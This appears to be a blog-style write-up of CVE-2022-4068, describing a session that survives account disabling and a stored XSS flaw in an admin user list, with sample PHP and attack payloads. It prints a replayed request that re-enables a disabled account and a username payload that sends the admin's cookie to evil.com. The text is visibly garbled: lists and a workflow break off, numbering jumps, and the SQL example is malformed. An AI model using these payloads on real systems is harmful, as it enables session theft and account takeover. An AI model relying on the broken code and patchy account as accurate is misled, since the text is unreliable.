CVE-2022-4068 tells a story that's all too familiar in web security: a simple oversight blossoms into major vulnerabilities. The bug affected certain web applications with user management capabilities. Two main issues came into play:

Usernames weren't sanitized correctly in the admin user overview, offering an XSS attack vector.

This deep dive will break down how these issues work in plain English, view example code, and see just how an attacker could combine them for a potentially devastating attack. Links to original references are included, and the mechanics shown are exclusive to this post.

The Problem

Typical workflow:

User loses access.

But with CVE-2022-4068? If a user had a valid session *before* being disabled, they could simply re-enable themselves.

Why?
The server only checked if a user was *already* enabled when logging in, not during ongoing sessions.

Example: PHP Code Responsible

function disable_user($username) {
    // disables in database
    db_query("UPDATE users SET enabled= WHERE username=?", [$username]);
}

function user_is_enabled($userId) {
    $result = db_query("SELECT enabled FROM users WHERE id=?", [$userId]);
    return $result['enabled'] === 1;
}

// Used during login, but NOT checked for every request afterwards!
function login($username, $password) {
    $user = db_query("SELECT * FROM users WHERE username=? AND password=?", [$username, $password]);
    if (!$user || !$user['enabled']) {
        return false;
    }
    $_SESSION['user_id'] = $user['id'];
    return true;
}

Problem:
Once logged in, the session persists—even if the account is disabled *after*. The app never checks if the user is still enabled on subsequent requests.

Exploit Details:
A normal user remains logged in after being disabled by an admin. By simply calling the account settings page, the user can change their own "enabled" flag in the database back to 1.

Simple Exploit (Request Replay)

POST /account/update
Content-Type: application/json
Cookie: sessionid=xyz...

{
  "enabled": true
}

The server accepts this because the session is still valid, re-enabling the "disabled" user—no admin knowledge required.

The Problem

In the admin's user list, usernames were embedded directly into the HTML—without escaping. This meant any special characters in the username field were rendered as HTML/JavaScript.

Example: Bad Rendering Code

// Rendering usernames in admin user overview:
echo "<td>$user['username']</td>";

No escaping at all! It's open season for any HTML injection, including <script> tags.

Exploit Details:

An attacker registers with the username (for example)

<img src=x onerror='alert(document.cookie)'>

Now, every time an admin views the user overview, they’ll trigger the JavaScript. With some creativity, the attacker can instead send the admin's session cookie to an external server.

Register as

<script>fetch('https://evil.com?c='+document.cookie)</script>

5. References

- NVD: CVE-2022-4068
- Original Advisory (GitHub)
- OWASP XSS Prevention Cheat Sheet

Conclusion

CVE-2022-4068 is a great lesson: Always enforce user account status on every request, and never, ever display unsanitized user input in your admin panels. Security is about safe defaults—don’t give attackers a window, or they’ll find a way in.

For more, check the official NVD entry or review your application for similar bugs before attackers do.

Timeline

Published on: 11/20/2022 05:15:00 UTC
Last modified on: 11/29/2022 13:37:00 UTC